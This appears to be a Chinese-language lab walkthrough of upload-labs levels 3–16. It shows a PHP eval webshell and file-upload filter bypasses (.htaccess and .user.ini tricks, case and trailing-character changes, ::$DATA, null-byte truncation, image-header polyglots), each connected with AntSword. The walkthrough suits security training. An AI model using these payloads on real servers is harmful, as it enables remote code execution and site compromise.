upload靶场通关3到16

Upload靶场3-16关通关详解

1.unload通关

1.pass-3

打开小皮复制upload地址

使用内嵌浏览器打开

查看源码发现php无法使用,我们先创建一句话木马<?php @eval($_POST['a']);?>文件

使用BP抓包将文件后缀名改为.php3放行后发现上传成功

新标签页打开复制地址后蚁剑打开,上传成功

2.pass-04

查看源码发现前面的方式都无法使用

我们使用一种新的方式.htaccess文件,AddType application/x-httpd-php .txt .jpg

上传这个文件后上传一句话木马并用BP抓包,后缀改为txt

同理上传成功

3.pass-05

这一关禁用.htaccess文件,我们写一个.user.ini文件

auto_prepend_file=1.txt\n

上传成功后写个1.txt文件上传但注意蚁剑改为php

4.pass-06

查看源码发现,这道题没有限制大小写

我们使用bp抓包,修改php大小写Php

如图连接成功

5.pass-07

我们发现这一关和前面相比少了首尾去空

我们使用bp抓包

在后缀名加入空格,发现上传成功

6.pass-08

这道题没有.的限制

我们bp抓包后后缀名加点即可成功

7.pass-09

这关没有::$DATA的限制

BP抓包后后缀加入::$DATA

上传成功后蚁剑删除后缀即可上传成功

8.pass-10

我们这关改为shell.php为

shell.php.  .使后缀解析只有一个点

然后蚁剑上传

9.pass-11

这道题会删除后缀php

我们只需要抓包后双写php即可

10.pass-12

木马换成jpg后缀

这道题借助%00便可上传成功

11.pass-13

抓包将后缀名改为png

save_path值改为shell.php空格后将其Hex改为00

蚁剑链接后成功

12.pass-14

将木马文件开头改为FF D8

用010Editor打开木马文件

view -- Edit As -- Hex用16进制打开

上传蚁剑后成功

13.pass-15

利用010Editor打开将木马写在最后

重复操作上一关即可成功

14.pass-16

首先使用php的exif扩展

将上一关改好的shell.php上传

使用蚁剑连接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值